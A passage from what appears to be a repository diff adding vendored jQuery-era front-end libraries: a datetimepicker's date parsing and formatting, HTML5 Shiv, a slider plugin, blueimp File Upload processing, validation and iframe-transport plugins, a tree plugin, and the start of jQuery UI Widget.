//if ("php" == e) return "input" == t ? "Y-m-d H:i": "Y-m-d H:i:s";
if ("standard" == e) return "input" == t ? "yyyy-mm-dd": "yyyy-mm-dd";
if ("php" == e) return "input" == t ? "Y-m-d": "Y-m-d";
throw new Error("Invalid format type.")
},
validParts: function(e) {
if ("standard" == e) return /hh?|HH?|p|P|ii?|ss?|dd?|DD?|mm?|MM?|yy(?:yy)?/g;
if ("php" == e) return /[dDjlNwzFmMnStyYaABgGhHis]/g;
throw new Error("Invalid format type.")
},
nonpunctuation: /[^ -\/:-@\[-`{-~\t\n\rTZ]+/g,
parseFormat: function(e, t) {
var i = e.replace(this.validParts(t), "\0").split("\0"),
s = e.match(this.validParts(t));
if (!i || !i.length || !s || 0 == s.length) throw new Error("Invalid date format.");
return {
separators: i,
parts: s
}
},
parseDate: function(a, n, h, o) {
if (a instanceof Date) {
var r = new Date(a.valueOf() - 6e4 * a.getTimezoneOffset());
return r.setMilliseconds(0),
r
}
if (/^\d{4}\-\d{1,2}\-\d{1,2}$/.test(a) && (n = this.parseFormat("yyyy-mm-dd", o)), /^\d{4}\-\d{1,2}\-\d{1,2}[T ]\d{1,2}\:\d{1,2}$/.test(a) && (n = this.parseFormat("yyyy-mm-dd hh:ii", o)), /^\d{4}\-\d{1,2}\-\d{1,2}[T ]\d{1,2}\:\d{1,2}\:\d{1,2}[Z]{0,1}$/.test(a) && (n = this.parseFormat("yyyy-mm-dd hh:ii:ss", o)), /^[-+]\d+[dmwy]([\s,]+[-+]\d+[dmwy])*$/.test(a)) {
var d,
l,
u = /([-+]\d+)([dmwy])/,
c = a.match(/([-+]\d+)([dmwy])/g);
a = new Date;
for (var m = 0; m < c.length; m++) switch (d = u.exec(c[m]), l = parseInt(d[1]), d[2]) {
case "d":
a.setUTCDate(a.getUTCDate() + l);
break;
case "m":
a = i.prototype.moveMonth.call(i.prototype, a, l);
break;
case "w":
a.setUTCDate(a.getUTCDate() + 7 * l);
break;
case "y":
a = i.prototype.moveYear.call(i.prototype, a, l)
}
return t(a.getUTCFullYear(), a.getUTCMonth(), a.getUTCDate(), a.getUTCHours(), a.getUTCMinutes(), a.getUTCSeconds(), 0)
}
var p,
v,
d,
c = a && a.match(this.nonpunctuation) || [],
a = new Date(0, 0, 0, 0, 0, 0, 0),
g = {},
f = ["hh", "h", "ii", "i", "ss", "s", "yyyy", "yy", "M", "MM", "m", "mm", "D", "DD", "d", "dd", "H", "HH", "p", "P"],
w = {
hh: function(e, t) {
return e.setUTCHours(t)
},
h: function(e, t) {
return e.setUTCHours(t)
},
HH: function(e, t) {
return e.setUTCHours(12 == t ? 0: t)
},
H: function(e, t) {
return e.setUTCHours(12 == t ? 0: t)
},
ii: function(e, t) {
return e.setUTCMinutes(t)
},
i: function(e, t) {
return e.setUTCMinutes(t)
},
ss: function(e, t) {
return e.setUTCSeconds(t)
},
s: function(e, t) {
return e.setUTCSeconds(t)
},
yyyy: function(e, t) {
return e.setUTCFullYear(t)
},
yy: function(e, t) {
return e.setUTCFullYear(2e3 + t)
},
m: function(e, t) {
for (t -= 1; 0 > t;) t += 12;
for (t %= 12, e.setUTCMonth(t); e.getUTCMonth() != t;) e.setUTCDate(e.getUTCDate() - 1);
return e
},
d: function(e, t) {
return e.setUTCDate(t)
},
p: function(e, t) {
return e.setUTCHours(1 == t ? e.getUTCHours() + 12: e.getUTCHours())
}
};
if (w.M = w.MM = w.mm = w.m, w.dd = w.d, w.P = w.p, a = t(a.getFullYear(), a.getMonth(), a.getDate(), a.getHours(), a.getMinutes(), a.getSeconds()), c.length == n.parts.length) {
for (var m = 0, D = n.parts.length; D > m; m++) {
if (p = parseInt(c[m], 10), d = n.parts[m], isNaN(p)) switch (d) {
case "MM":
v = e(s[h].months).filter(function() {
var e = this.slice(0, c[m].length),
t = c[m].slice(0, e.length);
return e == t
}),
p = e.inArray(v[0], s[h].months) + 1;
break;
case "M":
v = e(s[h].monthsShort).filter(function() {
var e = this.slice(0, c[m].length),
t = c[m].slice(0, e.length);
return e == t
}),
p = e.inArray(v[0], s[h].monthsShort) + 1;
break;
case "p":
case "P":
p = e.inArray(c[m].toLowerCase(), s[h].meridiem)
}
g[d] = p
}
for (var y, m = 0; m < f.length; m++) y = f[m],
y in g && !isNaN(g[y]) && w[y](a, g[y])
}
return a
},
formatDate: function(t, i, n, h) {
if (null == t) return "";
var o;
if ("standard" == h) o = {
yy: t.getUTCFullYear().toString().substring(2),
yyyy: t.getUTCFullYear(),
m: t.getUTCMonth() + 1,
M: s[n].monthsShort[t.getUTCMonth()],
MM: s[n].months[t.getUTCMonth()],
d: t.getUTCDate(),
D: s[n].daysShort[t.getUTCDay()],
DD: s[n].days[t.getUTCDay()],
p: 2 == s[n].meridiem.length ? s[n].meridiem[t.getUTCHours() < 12 ? 0: 1] : "",
h: t.getUTCHours(),
i: t.getUTCMinutes(),
s: t.getUTCSeconds()
},
o.H = 2 == s[n].meridiem.length ? 0 == o.h % 12 ? 12: o.h % 12: o.h,
o.HH = (o.H < 10 ? "0": "") + o.H,
o.P = o.p.toUpperCase(),
o.hh = (o.h < 10 ? "0": "") + o.h,
o.ii = (o.i < 10 ? "0": "") + o.i,
o.ss = (o.s < 10 ? "0": "") + o.s,
o.dd = (o.d < 10 ? "0": "") + o.d,
o.mm = (o.m < 10 ? "0": "") + o.m;
else {
if ("php" != h) throw new Error("Invalid format type.");
o = {
y: t.getUTCFullYear().toString().substring(2),
Y: t.getUTCFullYear(),
F: s[n].months[t.getUTCMonth()],
M: s[n].monthsShort[t.getUTCMonth()],
n: t.getUTCMonth() + 1,
t: a.getDaysInMonth(t.getUTCFullYear(), t.getUTCMonth()),
j: t.getUTCDate(),
l: s[n].days[t.getUTCDay()],
D: s[n].daysShort[t.getUTCDay()],
w: t.getUTCDay(),
N: 0 == t.getUTCDay() ? 7: t.getUTCDay(),
S: t.getUTCDate() % 10 <= s[n].suffix.length ? s[n].suffix[t.getUTCDate() % 10 - 1] : "",
a: 2 == s[n].meridiem.length ? s[n].meridiem[t.getUTCHours() < 12 ? 0: 1] : "",
g: 0 == t.getUTCHours() % 12 ? 12: t.getUTCHours() % 12,
G: t.getUTCHours(),
i: t.getUTCMinutes(),
s: t.getUTCSeconds()
},
o.m = (o.n < 10 ? "0": "") + o.n,
o.d = (o.j < 10 ? "0": "") + o.j,
o.A = o.a.toString().toUpperCase(),
o.h = (o.g < 10 ? "0": "") + o.g,
o.H = (o.G < 10 ? "0": "") + o.G,
o.i = (o.i < 10 ? "0": "") + o.i,
o.s = (o.s < 10 ? "0": "") + o.s
}
for (var t = [], r = e.extend([], i.separators), d = 0, l = i.parts.length; l > d; d++) r.length && t.push(r.shift()),
t.push(o[i.parts[d]]);
return r.length && t.push(r.shift()),
t.join("")
},
convertViewMode: function(e) {
switch (e) {
case 4:
case "decade":
e = 4;
break;
case 3:
case "year":
e = 3;
break;
case 2:
case "month":
e = 2;
break;
case 1:
case "day":
e = 1;
break;
case 0:
case "hour":
e = 0
}
return e
},
headTemplate: '<thead><tr><th class="prev"><i class="fa fa-arrow-left"/></th><th colspan="5" class="switch"></th><th class="next"><i class="fa fa-arrow-right"/></th></tr></thead>',
contTemplate: '<tbody><tr><td colspan="7"></td></tr></tbody>',
footTemplate: '<tfoot><tr><th colspan="7" class="today"></th></tr></tfoot>'
};
a.template = '<div class="datetimepicker"><div class="datetimepicker-minutes"><table class=" table-condensed">' + a.headTemplate + a.contTemplate + a.footTemplate + "</table>" + "</div>" + '<div class="datetimepicker-hours">' + '<table class=" table-condensed">' + a.headTemplate + a.contTemplate + a.footTemplate + "</table>" + "</div>" + '<div class="datetimepicker-days">' + '<table class=" table-condensed">' + a.headTemplate + "<tbody></tbody>" + a.footTemplate + "</table>" + "</div>" + '<div class="datetimepicker-months">' + '<table class="table-condensed">' + a.headTemplate + a.contTemplate + a.footTemplate + "</table>" + "</div>" + '<div class="datetimepicker-years">' + '<table class="table-condensed">' + a.headTemplate + a.contTemplate + a.footTemplate + "</table>" + "</div>" + "</div>",
e.fn.datetimepicker.DPGlobal = a,
e.fn.datetimepicker.noConflict = function() {
return e.fn.datetimepicker = old,
this
},
e(document).on("focus.datetimepicker.data-api click.datetimepicker.data-api", '[data-provide="datetimepicker"]',
function(t) {
var i = e(this);
i.data("datetimepicker") || (t.preventDefault(), i.datetimepicker("show"))
}),
e(function() {
e('[data-provide="datetimepicker-inline"]').datetimepicker()
})
} (window.jQuery);
+4
View File
@@ -0,0 +1,4 @@
/**
* @preserve HTML5 Shiv 3.7.2 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
!function(a,b){function c(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function d(){var a=t.elements;return"string"==typeof a?a.split(" "):a}function e(a,b){var c=t.elements;"string"!=typeof c&&(c=c.join(" ")),"string"!=typeof a&&(a=a.join(" ")),t.elements=c+" "+a,j(b)}function f(a){var b=s[a[q]];return b||(b={},r++,a[q]=r,s[r]=b),b}function g(a,c,d){if(c||(c=b),l)return c.createElement(a);d||(d=f(c));var e;return e=d.cache[a]?d.cache[a].cloneNode():p.test(a)?(d.cache[a]=d.createElem(a)).cloneNode():d.createElem(a),!e.canHaveChildren||o.test(a)||e.tagUrn?e:d.frag.appendChild(e)}function h(a,c){if(a||(a=b),l)return a.createDocumentFragment();c=c||f(a);for(var e=c.frag.cloneNode(),g=0,h=d(),i=h.length;i>g;g++)e.createElement(h[g]);return e}function i(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return t.shivMethods?g(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+d().join().replace(/[\w\-:]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(t,b.frag)}function j(a){a||(a=b);var d=f(a);return!t.shivCSS||k||d.hasCSS||(d.hasCSS=!!c(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),l||i(a,d),a}var k,l,m="3.7.2",n=a.html5||{},o=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,p=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,q="_html5shiv",r=0,s={};!function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",k="hidden"in a,l=1==a.childNodes.length||function(){b.createElement("a");var a=b.createDocumentFragment();return"undefined"==typeof a.cloneNode||"undefined"==typeof a.createDocumentFragment||"undefined"==typeof a.createElement}()}catch(c){k=!0,l=!0}}();var t={elements:n.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video",version:m,shivCSS:n.shivCSS!==!1,supportsUnknownElements:l,shivMethods:n.shivMethods!==!1,type:"default",shivDocument:j,createElement:g,createDocumentFragment:h,addElements:e};a.html5=t,j(b)}(this,document);
File diff suppressed because one or more lines are too long
@@ -0,0 +1,99 @@
/**
* @package Xslider - A slider plugin for jQuery
* @version 0.5
* @author xhowhy <http://x1989.com>
**/
/*function goodkk(){
var n = $(".conbox").find("li").length
//插入数字
for(var i = 1; i <= n+1;i++ ){
$("#num").append('<a href="#">'+i+'</a>')
// (nums[i] = $("#num").appendChild(document.createElement("a"))).innerHTML = ++i;
//$("#num").append("<a href='#'>&nbsp;</a>")
};
$("#num a").each(function() {
$("#num a:first").attr("class","cur");
});
};*/
;(function($){
$.fn.Xslider = function(options){var settings ={
affect: 'scrollx', //效果 有scrollx|scrolly|fade|none
speed: 1200, //动画速度
space: 5000, //时间间隔
auto: true, //自动滚动
trigger: 'mouseover', //触发事件 注意用mouseover代替hover
conbox: '.conbox', //内容容器id或class
ctag: 'a', //内容标签 默认为<a>
switcher: '.switcher', //切换触发器id或class
stag: 'a', //切换器标签 默认为a
current:'cur', //当前切换器样式名称
rand:false //是否随机指定默认幻灯图片
};
settings = $.extend({}, settings, options);
var nn = $(".conbox").find("li").length
//插入数字
for(var ll = 1;ll <= nn;ll++ ){
$("#num").append('<a href="javascript:void(0)">'+ll+'</a>')
// (nums[i] = $("#num").appendChild(document.createElement("a"))).innerHTML = ++i;
//$("#num").append("<a href='#'>&nbsp;</a>")
};
$("#num a").each(function() {
$("#num a:first").attr("class","cur");
});
numw=$("#num").width()/2;
$("#num").css("margin-left","-"+numw+"px");
//插入数字 END
var index = 1;
var last_index = 0;
var $conbox = $(this).find(settings.conbox),$contents = $conbox.find(settings.ctag);
var $switcher = $(this).find(settings.switcher),$stag = $switcher.find(settings.stag);
if(settings.rand) {index = Math.floor(Math.random()*$contents.length);slide();}
if(settings.affect == 'fade'){$.each($contents,function(k, v){(k === 0) ? $(this).css({'position':'absolute','z-index':9}):$(this).css({'position':'absolute','z-index':1,'opacity':0});
});
}
function slide(){if (index >= $contents.length) index = 0;
$stag.removeClass(settings.current).eq(index).addClass(settings.current);
switch(settings.affect){case 'scrollx':
$conbox.width($contents.length*$contents.width());
$conbox.stop().animate({left:-$contents.width()*index},settings.speed);
break;
case 'scrolly':
$contents.css({display:'block'});
$conbox.stop().animate({top:-$contents.height()*index+'px'},settings.speed);
break;
case 'fade':
$contents.eq(last_index).stop().animate({'opacity': 0}, settings.speed/2).css('z-index',1)
.end()
.eq(index).css('z-index',9).stop().animate({'opacity': 1}, settings.speed/2)
break;
case 'none':
$contents.hide().eq(index).show();
break;
}
last_index = index;
index++;
};
if(settings.auto) var Timer = setInterval(slide, settings.space);
$stag.bind(settings.trigger,function(){_pause()
index = $(this).index();
slide();
_continue()
});
$conbox.hover(_pause,_continue);
function _pause(){
clearInterval(Timer);
}
function _continue(){
if(settings.auto)Timer = setInterval(slide, settings.space);
}
}
})(jQuery);
+175
View File
@@ -0,0 +1,175 @@
/*
* jQuery File Upload Processing Plugin
* https://github.com/blueimp/jQuery-File-Upload
*
* Copyright 2012, Sebastian Tschan
* https://blueimp.net
*
* Licensed under the MIT license:
* http://www.opensource.org/licenses/MIT
*/
/* jshint nomen:false */
/* global define, require, window */
;(function (factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
// Register as an anonymous AMD module:
define([
'jquery',
'./jquery.fileupload'
], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS:
factory(require('jquery'));
} else {
// Browser globals:
factory(
window.jQuery
);
}
}(function ($) {
'use strict';
var originalAdd = $.blueimp.fileupload.prototype.options.add;
// The File Upload Processing plugin extends the fileupload widget
// with file processing functionality:
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
options: {
// The list of processing actions:
processQueue: [
/*
{
action: 'log',
type: 'debug'
}
*/
],
add: function (e, data) {
var $this = $(this);
data.process(function () {
return $this.fileupload('process', data);
});
originalAdd.call(this, e, data);
}
},
processActions: {
/*
log: function (data, options) {
console[options.type](
'Processing "' + data.files[data.index].name + '"'
);
}
*/
},
_processFile: function (data, originalData) {
var that = this,
dfd = $.Deferred().resolveWith(that, [data]),
chain = dfd.promise();
this._trigger('process', null, data);
$.each(data.processQueue, function (i, settings) {
var func = function (data) {
if (originalData.errorThrown) {
return $.Deferred()
.rejectWith(that, [originalData]).promise();
}
return that.processActions[settings.action].call(
that,
data,
settings
);
};
chain = chain.then(func, settings.always && func);
});
chain
.done(function () {
that._trigger('processdone', null, data);
that._trigger('processalways', null, data);
})
.fail(function () {
that._trigger('processfail', null, data);
that._trigger('processalways', null, data);
});
return chain;
},
// Replaces the settings of each processQueue item that
// are strings starting with an "@", using the remaining
// substring as key for the option map,
// e.g. "@autoUpload" is replaced with options.autoUpload:
_transformProcessQueue: function (options) {
var processQueue = [];
$.each(options.processQueue, function () {
var settings = {},
action = this.action,
prefix = this.prefix === true ? action : this.prefix;
$.each(this, function (key, value) {
if ($.type(value) === 'string' &&
value.charAt(0) === '@') {
settings[key] = options[
value.slice(1) || (prefix ? prefix +
key.charAt(0).toUpperCase() + key.slice(1) : key)
];
} else {
settings[key] = value;
}
});
processQueue.push(settings);
});
options.processQueue = processQueue;
},
// Returns the number of files currently in the processsing queue:
processing: function () {
return this._processing;
},
// Processes the files given as files property of the data parameter,
// returns a Promise object that allows to bind callbacks:
process: function (data) {
var that = this,
options = $.extend({}, this.options, data);
if (options.processQueue && options.processQueue.length) {
this._transformProcessQueue(options);
if (this._processing === 0) {
this._trigger('processstart');
}
$.each(data.files, function (index) {
var opts = index ? $.extend({}, options) : options,
func = function () {
if (data.errorThrown) {
return $.Deferred()
.rejectWith(that, [data]).promise();
}
return that._processFile(opts, data);
};
opts.index = index;
that._processing += 1;
that._processingQueue = that._processingQueue.then(func, func)
.always(function () {
that._processing -= 1;
if (that._processing === 0) {
that._trigger('processstop');
}
});
});
}
return this._processingQueue;
},
_create: function () {
this._super();
this._processing = 0;
this._processingQueue = $.Deferred().resolveWith(this)
.promise();
}
});
}));
@@ -0,0 +1,122 @@
/*
* jQuery File Upload Validation Plugin
* https://github.com/blueimp/jQuery-File-Upload
*
* Copyright 2013, Sebastian Tschan
* https://blueimp.net
*
* Licensed under the MIT license:
* http://www.opensource.org/licenses/MIT
*/
/* global define, require, window */
;(function (factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
// Register as an anonymous AMD module:
define([
'jquery',
'./jquery.fileupload-process'
], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS:
factory(require('jquery'));
} else {
// Browser globals:
factory(
window.jQuery
);
}
}(function ($) {
'use strict';
// Append to the default processQueue:
$.blueimp.fileupload.prototype.options.processQueue.push(
{
action: 'validate',
// Always trigger this action,
// even if the previous action was rejected:
always: true,
// Options taken from the global options map:
acceptFileTypes: '@',
maxFileSize: '@',
minFileSize: '@',
maxNumberOfFiles: '@',
disabled: '@disableValidation'
}
);
// The File Upload Validation plugin extends the fileupload widget
// with file validation functionality:
$.widget('blueimp.fileupload', $.blueimp.fileupload, {
options: {
/*
// The regular expression for allowed file types, matches
// against either file type or file name:
acceptFileTypes: /(\.|\/)(gif|jpe?g|png)$/i,
// The maximum allowed file size in bytes:
maxFileSize: 10000000, // 10 MB
// The minimum allowed file size in bytes:
minFileSize: undefined, // No minimal file size
// The limit of files to be uploaded:
maxNumberOfFiles: 10,
*/
// Function returning the current number of files,
// has to be overriden for maxNumberOfFiles validation:
getNumberOfFiles: $.noop,
// Error and info messages:
messages: {
maxNumberOfFiles: 'Maximum number of files exceeded',
acceptFileTypes: 'File type not allowed',
maxFileSize: 'File is too large',
minFileSize: 'File is too small'
}
},
processActions: {
validate: function (data, options) {
if (options.disabled) {
return data;
}
var dfd = $.Deferred(),
settings = this.options,
file = data.files[data.index],
fileSize;
if (options.minFileSize || options.maxFileSize) {
fileSize = file.size;
}
if ($.type(options.maxNumberOfFiles) === 'number' &&
(settings.getNumberOfFiles() || 0) + data.files.length >
options.maxNumberOfFiles) {
file.error = settings.i18n('maxNumberOfFiles');
} else if (options.acceptFileTypes &&
!(options.acceptFileTypes.test(file.type) ||
options.acceptFileTypes.test(file.name))) {
file.error = settings.i18n('acceptFileTypes');
} else if (fileSize > options.maxFileSize) {
file.error = settings.i18n('maxFileSize');
} else if ($.type(fileSize) === 'number' &&
fileSize < options.minFileSize) {
file.error = settings.i18n('minFileSize');
} else {
delete file.error;
}
if (file.error || data.files.error) {
data.files.error = true;
dfd.rejectWith(this, [data]);
} else {
dfd.resolveWith(this, [data]);
}
return dfd.promise();
}
}
});
}));
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,217 @@
/*
* jQuery Iframe Transport Plugin
* https://github.com/blueimp/jQuery-File-Upload
*
* Copyright 2011, Sebastian Tschan
* https://blueimp.net
*
* Licensed under the MIT license:
* http://www.opensource.org/licenses/MIT
*/
/* global define, require, window, document */
;(function (factory) {
'use strict';
if (typeof define === 'function' && define.amd) {
// Register as an anonymous AMD module:
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS:
factory(require('jquery'));
} else {
// Browser globals:
factory(window.jQuery);
}
}(function ($) {
'use strict';
// Helper variable to create unique names for the transport iframes:
var counter = 0;
// The iframe transport accepts four additional options:
// options.fileInput: a jQuery collection of file input fields
// options.paramName: the parameter name for the file form data,
// overrides the name property of the file input field(s),
// can be a string or an array of strings.
// options.formData: an array of objects with name and value properties,
// equivalent to the return data of .serializeArray(), e.g.:
// [{name: 'a', value: 1}, {name: 'b', value: 2}]
// options.initialIframeSrc: the URL of the initial iframe src,
// by default set to "javascript:false;"
$.ajaxTransport('iframe', function (options) {
if (options.async) {
// javascript:false as initial iframe src
// prevents warning popups on HTTPS in IE6:
/*jshint scripturl: true */
var initialIframeSrc = options.initialIframeSrc || 'javascript:false;',
/*jshint scripturl: false */
form,
iframe,
addParamChar;
return {
send: function (_, completeCallback) {
form = $('<form style="display:none;"></form>');
form.attr('accept-charset', options.formAcceptCharset);
addParamChar = /\?/.test(options.url) ? '&' : '?';
// XDomainRequest only supports GET and POST:
if (options.type === 'DELETE') {
options.url = options.url + addParamChar + '_method=DELETE';
options.type = 'POST';
} else if (options.type === 'PUT') {
options.url = options.url + addParamChar + '_method=PUT';
options.type = 'POST';
} else if (options.type === 'PATCH') {
options.url = options.url + addParamChar + '_method=PATCH';
options.type = 'POST';
}
// IE versions below IE8 cannot set the name property of
// elements that have already been added to the DOM,
// so we set the name along with the iframe HTML markup:
counter += 1;
iframe = $(
'<iframe src="' + initialIframeSrc +
'" name="iframe-transport-' + counter + '"></iframe>'
).bind('load', function () {
var fileInputClones,
paramNames = $.isArray(options.paramName) ?
options.paramName : [options.paramName];
iframe
.unbind('load')
.bind('load', function () {
var response;
// Wrap in a try/catch block to catch exceptions thrown
// when trying to access cross-domain iframe contents:
try {
response = iframe.contents();
// Google Chrome and Firefox do not throw an
// exception when calling iframe.contents() on
// cross-domain requests, so we unify the response:
if (!response.length || !response[0].firstChild) {
throw new Error();
}
} catch (e) {
response = undefined;
}
// The complete callback returns the
// iframe content document as response object:
completeCallback(
200,
'success',
{'iframe': response}
);
// Fix for IE endless progress bar activity bug
// (happens on form submits to iframe targets):
$('<iframe src="' + initialIframeSrc + '"></iframe>')
.appendTo(form);
window.setTimeout(function () {
// Removing the form in a setTimeout call
// allows Chrome's developer tools to display
// the response result
form.remove();
}, 0);
});
form
.prop('target', iframe.prop('name'))
.prop('action', options.url)
.prop('method', options.type);
if (options.formData) {
$.each(options.formData, function (index, field) {
$('<input type="hidden"/>')
.prop('name', field.name)
.val(field.value)
.appendTo(form);
});
}
if (options.fileInput && options.fileInput.length &&
options.type === 'POST') {
fileInputClones = options.fileInput.clone();
// Insert a clone for each file input field:
options.fileInput.after(function (index) {
return fileInputClones[index];
});
if (options.paramName) {
options.fileInput.each(function (index) {
$(this).prop(
'name',
paramNames[index] || options.paramName
);
});
}
// Appending the file input fields to the hidden form
// removes them from their original location:
form
.append(options.fileInput)
.prop('enctype', 'multipart/form-data')
// enctype must be set as encoding for IE:
.prop('encoding', 'multipart/form-data');
// Remove the HTML5 form attribute from the input(s):
options.fileInput.removeAttr('form');
}
form.submit();
// Insert the file input fields at their original location
// by replacing the clones with the originals:
if (fileInputClones && fileInputClones.length) {
options.fileInput.each(function (index, input) {
var clone = $(fileInputClones[index]);
// Restore the original name and form properties:
$(input)
.prop('name', clone.prop('name'))
.attr('form', clone.attr('form'));
clone.replaceWith(input);
});
}
});
form.append(iframe).appendTo(document.body);
},
abort: function () {
if (iframe) {
// javascript:false as iframe src aborts the request
// and prevents warning popups on HTTPS in IE6.
// concat is used to avoid the "Script URL" JSLint error:
iframe
.unbind('load')
.prop('src', initialIframeSrc);
}
if (form) {
form.remove();
}
}
};
}
});
// The iframe transport returns the iframe content document as response.
// The following adds converters from iframe to text, json, html, xml
// and script.
// Please note that the Content-Type for JSON responses has to be text/plain
// or text/html, if the browser doesn't include application/json in the
// Accept header, else IE will show a download dialog.
// The Content-Type for XML responses on the other hand has to be always
// application/xml or text/xml, so IE properly parses the XML response.
// See also
// https://github.com/blueimp/jQuery-File-Upload/wiki/Setup#content-type-negotiation
$.ajaxSetup({
converters: {
'iframe text': function (iframe) {
return iframe && $(iframe[0].body).text();
},
'iframe json': function (iframe) {
return iframe && $.parseJSON($(iframe[0].body).text());
},
'iframe html': function (iframe) {
return iframe && $(iframe[0].body).html();
},
'iframe xml': function (iframe) {
var xmlDoc = iframe && iframe[0];
return xmlDoc && $.isXMLDoc(xmlDoc) ? xmlDoc :
$.parseXML((xmlDoc.XMLDocument && xmlDoc.XMLDocument.xml) ||
$(xmlDoc.body).html());
},
'iframe script': function (iframe) {
return iframe && $.globalEval($(iframe[0].body).text());
}
}
});
}));
@@ -0,0 +1,38 @@
;(function(){
$.fn.myTree=function(options){
$.fn.myTree.defaults = {
obj: this
,subClass:'sub'
};
var o=$.extend({},$.fn.myTree.defaults,options);
var $obj=o.obj;
var $openDOM=$('<i class="glyphicon glyphicon-folder-close"></i>');
var $closeDOM=$('<i class="glyphicon glyphicon-folder-open"></i>');
$obj.find('ul.'+o.subClass).first().prev('a').prepend($openDOM);
$obj.find('ul.'+o.subClass).first().find('li').addClass('active');
$obj.find('ul.'+o.subClass).first().find('ul.sub').show().prev('a').each(function(idx,n){
$(n).text(function(i,s){
//return s.trim();
})
}).prepend($closeDOM);
/* 为满足需要,把展开/合上功能注释掉了
//为字节点绑定事件
$obj.find('ul.'+o.subClass+'>li>a').on('click',function(){
if($(this).parent().attr('class')=='active'){
//如果子节点打开则隐藏
$(this).next('ul.sub').hide('fast',function(){
$(this).parent().removeClass('active').children('a').children('i.glyphicon-folder-open').removeClass('glyphicon-folder-open').addClass('glyphicon-folder-close');
}
)
}else{
//如果子节点隐藏则打开
$(this).next('ul.sub').show('fast',function(){
$(this).parent().addClass('active').children('a').children('i.glyphicon-folder-close').removeClass('glyphicon-folder-close').addClass('glyphicon-folder-open');
}
)
}
})*/
}
})(jQuery)
+572
View File
@@ -0,0 +1,572 @@
/*! jQuery UI - v1.11.4+CommonJS - 2015-08-28
* http://jqueryui.com
* Includes: widget.js
* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */
(function( factory ) {
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define([ "jquery" ], factory );
} else if ( typeof exports === "object" ) {
// Node/CommonJS
factory( require( "jquery" ) );
} else {
// Browser globals
factory( jQuery );
}
}(function( $ ) {
/*!
* jQuery UI Widget 1.11.4
* http://jqueryui.com
*
* Copyright jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/jQuery.widget/
*/
var widget_uuid = 0,
widget_slice = Array.prototype.slice;
$.cleanData = (function( orig ) {
return function( elems ) {
var events, elem, i;
for ( i = 0; (elem = elems[i]) != null; i++ ) {
try {
// Only trigger remove when necessary to save time
events = $._data( elem, "events" );
if ( events && events.remove ) {
$( elem ).triggerHandler( "remove" );
}
// http://bugs.jquery.com/ticket/8235
} catch ( e ) {}
}
orig( elems );
};
})( $.cleanData );
$.widget = function( name, base, prototype ) {
var fullName, existingConstructor, constructor, basePrototype,
// proxiedPrototype allows the provided prototype to remain unmodified
// so that it can be used as a mixin for multiple widgets (#8876)
proxiedPrototype = {},
namespace = name.split( "." )[ 0 ];
name = name.split( "." )[ 1 ];
fullName = namespace + "-" + name;
if ( !prototype ) {
prototype = base;
base = $.Widget;
}
// create selector for plugin
$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
return !!$.data( elem, fullName );
};
$[ namespace ] = $[ namespace ] || {};
existingConstructor = $[ namespace ][ name ];
constructor = $[ namespace ][ name ] = function( options, element ) {
// allow instantiation without "new" keyword
if ( !this._createWidget ) {
return new constructor( options, element );
}
// allow instantiation without initializing for simple inheritance
// must use "new" keyword (the code above always passes args)
if ( arguments.length ) {
this._createWidget( options, element );
}
};
// extend with the existing constructor to carry over any static properties
$.extend( constructor, existingConstructor, {
version: prototype.version,
// copy the object used to create the prototype in case we need to
// redefine the widget later
_proto: $.extend( {}, prototype ),
// track widgets that inherit from this widget in case this widget is
// redefined after a widget inherits from it
_childConstructors: []
});
basePrototype = new base();
// we need to make the options hash a property directly on the new instance
// otherwise we'll modify the options hash on the prototype that we're
// inheriting from
basePrototype.options = $.widget.extend( {}, basePrototype.options );
$.each( prototype, function( prop, value ) {
if ( !$.isFunction( value ) ) {
proxiedPrototype[ prop ] = value;
return;
}
proxiedPrototype[ prop ] = (function() {
var _super = function() {
return base.prototype[ prop ].apply( this, arguments );
},
_superApply = function( args ) {
return base.prototype[ prop ].apply( this, args );
};
return function() {
var __super = this._super,
__superApply = this._superApply,
returnValue;
this._super = _super;
this._superApply = _superApply;
returnValue = value.apply( this, arguments );
this._super = __super;
this._superApply = __superApply;
return returnValue;
};
})();
});
constructor.prototype = $.widget.extend( basePrototype, {
// TODO: remove support for widgetEventPrefix
// always use the name + a colon as the prefix, e.g., draggable:start
// don't prefix for widgets that aren't DOM-based
widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name
}, proxiedPrototype, {
constructor: constructor,
namespace: namespace,
widgetName: name,
widgetFullName: fullName
});
// If this widget is being redefined then we need to find all widgets that
// are inheriting from it and redefine all of them so that they inherit from
// the new version of this widget. We're essentially trying to replace one
// level in the prototype chain.
if ( existingConstructor ) {
$.each( existingConstructor._childConstructors, function( i, child ) {
var childPrototype = child.prototype;
// redefine the child widget using the same prototype that was
// originally used, but inherit from the new version of the base
$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
});
// remove the list of existing child constructors from the old constructor
